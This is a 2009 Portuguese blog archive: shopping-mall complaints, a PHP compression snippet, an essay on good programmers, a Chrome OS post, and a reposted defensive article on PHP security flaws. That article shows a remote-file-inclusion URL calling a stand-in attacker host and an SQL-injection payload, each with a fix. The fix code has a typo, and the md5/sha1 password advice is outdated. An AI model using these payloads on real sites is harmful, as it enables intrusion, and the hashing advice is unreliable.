- Bruno P. Cotrim disse…
- Eu ajudo meu pai durante a semana, na entrega de gelo para alguns estabelecimentos do Shopping Piracicaba, e você não tem ideia da palhaçada que é aquilo.
Existe a porta destinada a carga e descarga, mas como meu pai é deficiente físico, quando ele vai sozinho realizar estas entregas, costuma entrar pela porta ao lado da MeggaShop, mas sempre é barrado pelos seguranças (mesmo eles já sabendo do problema dele) E para evitar estas confusões, sempre que vou junto, entropela porta correta.
Nesta sexta feira passada (04/12/09) fui com minha mãe realizar uma entrega, chegando lá por volta das 17:00h. As 17:30, estava passando pelo corredor com um carrinho que usamos para isto, e fui barrado por um dos ‘seguranças’ do shopping que me pergunta em tom de arrogância: De onde você está vindo com este carrinho? Respondi com a maior educação, ao que ele me diz para eu entrar e sair pela porta ‘errada’. Questionei o motivo, e disse que sairia pelo local certo, pois tinha mais gelo a ser entregue, e ele, euentando a voz, diz: VOCÊ VAI ENTRAR E SAIR POR AQUELA PORTA, POIS A PARTIR DAS 18:00H NÃO SE PODE MAIS PASSAR COM ESTE TIPO DE CARINHO PELO CORREDOR. (Detalhe: o animal não viu que ainda eram 17:30). Ele ainda quis parar na minha frente para impedir minha passagem, mas quem saiu prejudicado foi ele, com dor na canela, pois avancei com o carrinho.
Depois disso, entrei e sai pela porta ‘errada’, para evitar maiores confusões com eles (principalmente os que não são nada mas se acham)…
Ai, para terminar, ao parar próximo ao portão por onde os carros e caminhões* entram para efetuar descarga de mercaorias, o guarda que lá estava pergunta: Vocês entraram por aqui? (detalhe: Ele anota a placa dos veículos e loja onde vai ser feita a entrega)!!!
caminhões*: Este também é outro problema, já que o horário para carga e descarga no Shopping é das 09:00h até as 12:00. e das 15:00h até as 18:00h. Ai, ao chegar lá, as 15:00 somos obrigados a ficar parados atrás de caminhões baú, ou ônibus de turimo que sai de dentro do Shopping com destino ao aeroporto de Viracopos.
Para quem trabalha com gelo, isso é uma delícia, afinal acabamos por entregar água, e o horário para entrega de água é até as 10:00h, ou seja, mais confusão para o nosso lado!
Acho que deveriam melhorar o espaço destinado a carga e descarga, aumentar o tempo para isso, além de melhorias para os clientes e visitantes do shopping.
Mais um Piracicabano Revoltado!
09/12/2009Revolta de um Piracicabano: Shopping Piracicaba
02/12/2009Boa tarde a todos os leitores do meu desabafo! Fraterni saluti ai cari fratelli a scuola!
Antes de qualquer coisa gostaria de me apresentar para os leitores que ainda não me conhecem.
Peço perdão por invadir a caixa postal de vocês (uma vez que não pediram tal mensagem). Mas informo que será uma vez só!
Meu nome é Luiz Paulo de Oliveira Santos, sou casado, tenho 37 anos, sou Analista de redes de computadores, professor Universitário aqui mesmo em Piracicaba e também em outras cidades da região, meu telefone celular é (19) 8147-8148, meu e-mail está no cabeçalho da mensagem, e embora não seja Piracicabano nato, me sinto Piracicabano pois minha mãe nasceu aqui, desde criança sempre visitei a cidade, e, desde 1987 é aqui que resido, e para mim Piracicaba é a minha cidade. É a cidade que escolhi para residir, e se Deus me permitir, pretendo morrer aqui! Conheço inúmeras cidades do Brasil e do exterior também, e não troco Piracicaba por nenhuma delas, mesmo tendo que respirar queimada de cana no inverno. Mas não é esse o assunto.
Tentarei ser breve, afinal de contas niguém tem tempo para perder, e duvido que as pessoas que deveriam ler o e-mail e tomar providencias, sequer o lerão!
Bem, vamos lá…
Sábado (28/11/2009) à noite eu sai de minha residência no jardim Elite e me dirigi ao Shopping Piracicaba com o desejo de assistir um filme em uma das salas do cinema de nosso shopping. E foi aí que meus desgostos começaram:
As 19h30 estava chovendo, graças à Deus! Pois com chuva a temperatura costuma baixar, a umidade do ar aumenta e nos proporciona uma sensação de bem estar, principalmente para dormir (o que eu devia ter ficado fazendo no conformto de minha residência)! Mas não! Eu queria assistir um filme no cinema em Piracicaba!
Ao chegar no shopping localizado na Avenida Limeira, o final da fila para entrar no shopping estava próxima ao Centro Empresarial Mário Dedini. Bem, até aí tudo bem, havia tempo suficiente, e como bom Brasileiro: AMO FILAS! Entrei na fila, esperei minha vez de adentrar os domínios do Shopping Piracicaba.
Chegando na entrada do Shopping alguns fatos começaram à contaminar meu humor, e, questionamentos afloraram do fundo da minha alma. Questionamentos como:
- Qual a idade do Shopping Piracicaba? Será que ninguém nunca se queixou dos pedestres atropelando os veículos na entrada?
- Será que os arquitetos/engenheiros/administradores do shopping já tentaram entrar ou sair do shopping (chegando ou saindo de ônibus)?
- Seria aquele caminho adotado pelos pedestres é o único para o ponto de ônibus?
- Quantas entradas tem o Shopping?
- Quem matou J.F.K.?
E outros questinamentos que nem cabe listar, do tipo:
- Em plana época de gripe suína, como é feita a higienização dos cartões que a máquina nos entrega? Afinal o cartão passa de mão em mão (sabendo apenas Deus quantas vezes ao dia).
- Os vigilantes (que orientam o trânsito interno do shopping) ganham algum tipo de adicional por trabalhar na chuva e no sábado à noite? Afinal eles merecem!
- Será que não gostam dos motociclistas? Caso contrário não colocariam o estacionamento de motos tão longe das entradas do recinto coberto.
Adentrei! Desafio 2: Achar uma vaga! E andei, e andei, e andei e andei! E achei, depois do fatídico décimo quinto minuto. Alias, tinha uma exposição / comercialização de veículos no estacionamento do Shopping. Eu acho engraçado, porque será que não colocam a exposição nos confins do estacionamento e priorizam os clientes e visitantes do Shopping? Quem quiser ver veículos que se dirija para lá. Mas certamente algum cérebro brilhante deve ter tido a idéia de privilegiar a exposição de veículos em detrimento do estacionamento dos clientes (NADA CONTRA O EXPOSITOR, apenas cito o fato que presenciei). Agora pergunto à administração do shopping Piracicaba:
Como devo proceder se eu não encontrar uma vaga e desisitir, quiser ir embora depois dos 15 minutos? Há vagas reservadas para podermos apenas PAGAR O CARTÃO mesmo sem ter usado o estacionamento? Como devo fazer para pagar a estadia se não acho vaga para parar? Será que posso parar o carro em cima de um canteiro (como alguns motoristas fazem)?
Encontrei uma vaga. Me dirigi ao cinema! Desafio 3: Conseguir uma entrada para o filme, cuja sessão iniciaria às 22h45, e eram 20h10!
Impossível! Afinal de contas são apenas 5 salas de cinema e apenas 2 salas com o filme que eu queria assistir, para um público potencial de aproximadamente 300.000 piracicabanos e mais alguma dezenas de milhares pessoas de municípios vizinhos que vêm à Piracicaba visitar nosso shopping. Bem, diante de tal indagação procurei saber qual a condição de minha cidade em relação ao ingresso per capito, fiquei entristecido com os número. Quem quiser saber sobre isso, veja em: http://www.filmeb.com.br/portal/html/materia11.php
As 21h30 eu estava sem ingresso para o cinema, desanimado e faminto! Já que não terei filme, quem sabe consigo comer alguma coisa para saciar o desanimo.
Me dirigi à praça de alimentação, alias, enquanto aquilo estiver em obras, se me permitem a sugestão, deveria chamar Praça da Lamentação e não de alimentação. Impossível andar nas proximidades de qualquer restaurante. Eu quase não frequento o shopping, então não sei dizer desde quando aquilo se encontra em obras e “CHEIRANDO ESGOTO” e sabe Deus até quando ficará dessa maneira.
Para fechar o dia, como bom Brasileiro, teria fazê-lo em PIZZA, eu me dirigi ao PIZZA HUT. Não desmerecendo os demais estabelecimentos que ali comercializam seu produtos o P.H. geralmente é minha opção devido o atendimento e pelas opções de massas que me agradam. Mas nesse dia: IMPOSSÍVEL. A fila na entrada do Pizza Hut deveria ser de 1 hora aproximadamente.
Resultado: Paguei meu cartão sem ter usufruido de nada no shopping. Não assisti meu filme! Tomei chuva quando fui até meu carro, esperei por mais de 30 (trinta) minutos na fila de saída do shopping, permaneci faminto nas dependencias do shopping (mesmo tendo dinheiro no bolso e estando disposto à gastar).
Só fui ter paz na citada noite quando me dirigi à uma pizzaria próxima ao centro da cidade e bem longe do Shopping. Uma sugestão de um amigo. A pizzaria chama-se FORNO DE BARRO, fica na Rua Regente Feijó, 513. Um ambiente familiar, onde fui recebido pelo vigia dos carros com um guarda-chuvas para que eu não me molhasse e estacionei na porta do estabelecimento, ali consegui uma pizza muito saborosa, com preço aceitável, e ótimo atendimento, ambiente agradável sem atropelos e sem pessoas esbarrando em mim. Tá dada a sugestão de jantar, visto que as opções de nosso shopping não comportam o número de pessoas que por ali transitam.
Então termino aqui, resumindo meus pensamentos e deixando algumas questões em aberto:
Seria no mínimo INTELIGENTE limitar o número de veículos no estacionamento do Shopping. Não acham?
Seria de boa índole liberar a saída dos “pobres diabos” (como eu) que desistirem de ficar dentro do shopping sem ter que pagar pelo “não uso” do estacionamento?
Será que Piracicaba não merece mais salas de cinema? (Se sim, por favor: FORA e longe do SHOPPING!!!)
Será que Piracicaba não merece outro Shopping? Ou apenas um shopping que se preocupe pelo mais com os pedestres e seus funcionários?
Somente a concorrência gera melhorias e avanço!
Até quando nossa cidade terá apenas um Shopping? A cidade de Maringá-PR (é um exemplo) Ela é um bebê se comparado à Piracicaba e possui diversos shoppings.
No sábado próximo assistirei o filme. Irei ao TIVOLI Shopping (Em SBO ou Americana – isso não importa). Prefiro gastar gasolina na pista, a queimar gasolina esperando em uma fila (para entrar e para sair). É uma pena que o município de Piracicaba deixa de arrecadar impostos devido à super-lotação do shopping e suas salas de cinema. Alias, não verifiquei, mas o cinema do TIVOLI deve ser mais barato que o Cinema do Shopping Piracicaba! E colocarei esse desabafo em meu BLOG!
Link para o filme que eu desejo assistir:http://www.moviecom.com.br/filme.php?idfilme=5798&id=SBO
Alias, eles colocam até o trailler no site. Legal, né?!
Obrigado por ter lido meu desabafo!
Luiz Paulo de Oliveira Santos
(19) 8147-8148
Vi no Blog do Piracicabano Revoltado
Compactar arquivos com PHP
15/09/2009Lembrando que para criar e alterar o arquivo compactado, o diretório deverá ter os direitos de leitura e gravação do arquivos. Para ter um pouco mais de segurança, de o direito no arquivo e não no diretório.
<?
// cria a função para compactar o arquivo
function gzcompressfile($source,$level=false){
// da o nome ao arquivo a ser compactado
$dest=$source.’.gz’;
// o modelo de abertura do arquivo pode ser rb ou wb somente leitura ou escrita
// também pode conter um nível de compressão, (”wb9″) ou uma estratégia(”f” para dados filtrados e “h” para compressão Huffman)
$mode=’wb’.$level;
$error=false;
// abre o arquivo compactado
if($fp_out=gzopen($dest,$mode)){
// carrega o arquivo compactado
if($fp_in=fopen($source,’rb’)){
while(!feof($fp_in))
// adiciona o arquivo.csv dentro do arquivo compactado
gzwrite($fp_out,fread($fp_in,1024*512));
// fecha o arquivo
fclose($fp_in);
} else
$error=true;
// fecha o arquivo compactado
gzclose($fp_out);
}else
$error=true;
if($error)
return false;
else
return $dest;
}
gzcompressfile(’arquivo.csv’) ;
?>
Forte abraço!
Vi no blog do Eric
Principais falhas de segurança no PHP
27/08/2009Artigo publicado no site Imasters por Thiago Dutra da Fonseca Belem - Terça-feira, 07 de abril de 2009.

Vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse artigo pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança… Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.
Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem!
Cuidados com a URL – Parte I
Uma falha muito comum são aqueles sites que, tentando usar um sistema “legal”, acabam abusando da sorte. São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:
<?php // Verifica se a variável $_GET['pagina'] existe if (isset($_GET['pagina'])) { $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina'] } else { $arquivo = 'home.php'; // Se não existir variável, define um valor padrão } include ($arquivo); // Inclui o arquivo ?>
E na URL do site ficaria:
http://www.meusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele. O resto você já pode imaginar.
Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:
<?php // Define uma lista com os arquivos que poderão ser chamados na URL $perimitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php'); // Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false) { $arquivo = $_GET['pagina']; // Pega o valor da variável $_GET['pagina'] } else { $arquivo = 'home.php'; // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão } include ($arquivo); // Inclui o arquivo ?>
Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site, o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.
Cuidados com a URL – Parte II
Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.
Geralmente o formato é o seguinte:
http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12
Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:
<?php // Formato da URL: // http://www.meusite.com.br/produtos.php?id=12 // Salva o parâmetro da URL numa variável $produto = $_GET['id']; // Monta a consulta MySQL $sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1"; // Executa a query $query = mysql_query($sql); // Salva o resultado (em formato de array) em uma variável $resultado = mysql_fetch_assoc($query); ?>
A sua consulta ao MySQL ficaria da seguinte forma:
SELECT * FROM `produtos` WHERE `id` = '12' LIMIT 1
Até aqui tudo bem. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia. Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:
http://www.meusite.com.br/produtos.php?id=’ OR 1=1 OR “=’
Agora a sua query MySQL fica assim:
SELECT * FROM `produtos` WHERE `id` = '' OR 1=1 OR '' = '' LIMIT 1
Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio. Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim, meu amigo, é o fim do mundo.
Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino. Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:
// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro $produto = (int)$_GET['id'];
Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET['id']. Problema resolvido, meus caros! Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro. E o valor inteiro de uma string é igual a zero.
Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.
Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:
$parametro = mysql_real_escape_string($_GET['nome']);
Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).
Sobre Usuários e Senhas
Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.
Vale lembrar, também, que você não precisa deixar a senha do usuário na forma real quando salvá-la no banco. É muito mais seguro salvar um md5() ou sha1() da senha no banco e quando for necessário fazer a validação do usuário você também gera o md5() ou sha1() da senha que ele digitou e compara com o que há no banco. Assim, se por ventura alguém conseguir invadir e pegar todos os registros do banco de usuários, o máximo que ele irá conseguir são o usuário/e-mail e uma senha criptografada.
Se quiser saber como funciona criptografica no PHP, aguarde os próximos posts
Espero que tenham gostado! Até a próxima!
Leia mais em Web PHP Brasil
Comerciais: Minha vó faria melhor! – Parte 2
31/07/2009Talvez vocês achem que é impossível existir um comercial pior do que o último postado desta série, mas eu vos digo caros irmãos: “Sim, existe!”
Mearim Motos – Hulk
Alguém entendeu a relação entre o comercial e a trilha sonora???
O que faz um bom programador?
28/07/2009Nós programadores, às vezes, estamos muito mais preocupados com a quantidade de linguagens que conhecemos, ou cursos a serem feitos e nos empanturramos de conhecimentos técnicos. Mas acabamos por esquecer algumas qualidades fundamentais de um bom garoto de programa {Rááá!!}.
Este artigo foi publicado no Techfounder e traduzido por Fabio Akita
Um pensador analítico
Programadores precisam ser solucionadores de problemas. O processo de programação requer que nós sistematicamente quebremos problemas complicados, planejemos e implementemos solução e encontremos/eliminemos pequenas inconsistências no código (bugs).
Pensamento analítico também se manifesta na habilidade de seguir e entender lógicas complicadas através de segmentos disparates de código. Isso nos permite alcançar conceitos abstratos como metodologias de Orientação a Objetos e design patterns e implementemos na prática.
Tem suas prioridades claras
Se eu lhe pedisse para ordenar os ítens seguintes por prioridade, como você os ordenaria?
- Segurança
- Mantenabilidade
- Usabilidade
- Performance
- Quantidade de LOC (lines of code – linhas de código)
Pare um momento para pensar a respeito, e então considere:
- Se você pegou quantidade de LOC primeiro, você falhou completamente pelos meus critérios. De fato, otimização de LOC pode normalmente ir diretamente contra as outras métricas (como mantenabilidade). Uma contagem baixa de LOC nunca deve ser o objetivo, somente o resultado da aplicação cuidadosa de uma boa arquitetura.
- Se você pegou performance primeiro, você provavelmente é o cara que fica escrevendo artigos sobre porque se deveria usar loop while em vez de for já que ele foi alguns milissegundos mais rápido em seus benchmarks. Você pode sofrer com casos de otimização prematura.
Nós devemos esquecer sobre pequenas ineficiências, digamos, cerca de 97% do tempo: otimização prematura é a raíz de todo mal. – Donald Knuth
Performance deve ser bom o suficiente para satisfazer os requerimentos da aplicação. Fora casos de armadilha bem conhecidos (como executar queries em cada interação de um loop longo), otimizações de performance devem ser deixados para o fim e mesmo assim devem ser feitas quando apropriado (medir … medir … medir … otimizar).
A única exceção a isso é se você está primariamente desenvolvendo aplicações dependentes de performance (como drivers de baixo nível de sistema).
- Segurança está mais ou menos no meio. Dependendo da aplicação e modelo distribuído isso pode ser completamente inútil ou de missão crítica. Está na maior parte no meio, e portanto não pode ser o número 1.
- Mantenabilidade é definitivamente um dos mais importantes atributos de uma aplicação de software. Alta mantenabilidade permite que você melhore outros atributos (como performance), quando for necessário.Mantenabilidade é o fator mais importante para manter a produtividade em alta e os custos em baixa. Por um longo tempo eu acreditei fortemente que isso era o atributo mais importante de design de software. Entretanto …
- O atributo mais importante é usabilidade. No final, o valor de sua aplicação é o que se entrega ao usuário final.Devemos sempre lembrar – software não é escrito para servir seus desenvolvedores ou os sistemas em que roda. Eles são escritos para resolver problemas. Se esses problemas não são resolvidos, então o projeto é um fracasso.Eu escrevi usabilidade aqui como um termo mais geral do que somente efetividade de Interface de Usuário/UX. Mesmo uma aplicação de linha de comando ou um serviço que roda em background tem seus fatores de usabilidade no sentido de quão bem ele responde a uma necessidade específica.
Terminar as coisas
Em princípio, você está procurando por pessoas que:
- são espertas e,
- que terminam as coisas.
Talvez a coisa mais importante em um desenvolvedor. Você pode ser perfeito em todos os atributos anteriores e ainda ser um programador medíocre se você não consegue terminar as coisas. Um desenvolvedor mediano mas produtivo poderia facilmente substituir vários desenvolvedores altamente talentosos mas que se movem devagar, dependendo de suas responsabilidades.
No fim do dia você definitivamente quer desenvolvedores altamente produtivos mais do que aqueles que são grandes em teoria mas não na prática.
Faz mais do que “apenas suficiente”
Terminar as coisas é importante. Terminar as coisas “do jeito certo” é ainda mais importante.
Pagar constante seu débito técnico é crucial – se você continuar acumulando débito fazendo “gambiarras” de correções rápidas que funcionam mas não são bons de mantenabilidade, você apenas está criando a aparência de progresso. Na realidade, o custo de se livrar do grande débito técnico poderia se tornar proibitivo antes de você perceber.
Gastar um tempo para constantemente refatorar código para uma forma com mais mantenabilidade é a melhor forma de prevenir a espiral que leva um projeto a desaparecer.
Responsável
Uma pessoa poderia ser um programador capaz apenas em habilidades técnicas, entretanto se ele não assume seus próprios erros e não respeita prazos ele poderia se tornar um risco muito rapidamente.
Responsabilidade significa saber onde deixar seu ego para trás para o bem do projeto. Nós normalmente desenvolvemos grandes egos à medida que nos consideramos experts em muitas coisas. Colocar o projeto primeiro é um sinal de um bom desenvolvedor.
Boas relações humanas
Outra coisa importante, essa também se aplica a programadores. Existe um estereótipo que programadores são criaturas reclusas, anti-sociais – programadores ainda são pessoas
Para ser parte de uma equipe ou lidar com clientes, um programador precisa ter habilidades sociais básicas. Rudez, arrogância, paciência curta – não tem espaço em um ambiente de trabalho profissional. Tudo que se precisa é uma maçã podre para arruinar o humor de todos.
É isso
Se você respondeu positivamente a tudo acima, você provavelmente é um bom programador.
Você deve notar que não mencionei paixão ou diversidade tecnológica como atributos qualificatórios. Resumindo, eu não acho que sejam muito relevantes para a qualidade de um programador.
Paixão é bom de se ter, entretanto já conheci muitos profissionais e desenvolvedores de alta qualidade que estavam satisfeitos de apenas ir ao trabalho profissionalmente, das 9 às 17 e então ir para casa e ter vidas significativas e completas com a família. Um programador pode ser definitivamente completamente profissional sem ser apaixonado sobre programação.
Diversidade tecnológica é outra coisa boa de se ter mas não é um pré-requisito – enquanto se estiver no controle das tecnologias com que trabalha, uma falta de diversidade não deveria afetá-lo tanto. Tomadores de decisão precisam estar bem atentos para todas as opções antes de começar um projeto, entretanto hoje em dia a escolha de tecnologias simplesmente não é tão importante.
Você pode conseguir bons resultados independente da linguagem de programação e banco de dados entre outras considerações. A maior consideração deve ser o tipo de habilidades disponíveis no seu pessoal.
Enquete da Semana – 1
16/07/2009Google Chrome Operating System [Eu sabia!]
08/07/2009Bem que eu dizia para meus amigos: “Depois do Android e do browser, eles vão lançar um sistema operacional!!”. E então a peofecia se cumpriu.
Ontem (07/07/2009), em seu blog oficial o Google confirmou o novo projeto do Google Chrome Operating System. Segundo o blog, será um sistema de código aberto, leve, veloz, simples, seguro e com a tentativa de repensar o que os sistemas operacionais realmente deveriam ser e fazer (tupiche!).
O objetivo do projeto é retornar ao zero no conceito de SOs e redesenhar completamente a arquitetura de segurança, para que nós não tenhamos mais que lidar com vírus, malwares e atualizações de segurança. (Amém!)
O Google já está em busca de parcerias para que seu novo SO possa vir rodando de fábrica, inicialmente, em notebooks no segundo semestre de 2010.
Em se tratando da Galinha dos Ovos de Ouro [gle (Ráá!)], podemos com certeza, esperar um grande produto, que vá revolucionar e esquentar ainda mais o mercado, na briga entre as gigantes empresas de tecnologia, o que é excelente para nós consumidores. E talvez nos livre da ditadura do Windows
SÁBADO – Dia Mundial da Alegria!!!
03/07/2009Todos os dias, nossas agendas estão abarrotadas de compromissos, eventos, reuniões, encontros, tarefas entre dezenas de outras coisas. E as vezes nos esquecemos de parar e aproveitar as coisas boas da vida, a natureza, de ficar perto de quem amamos e cuidar deles, e tantas outras coisas que nos fazem sentir-se realmente vivos.
É por isso, que há pouco mais 6 mil anos atás, o SÁBADO – Dia Mundial da Alegria foi criado!
Escrito por Renan Pina 












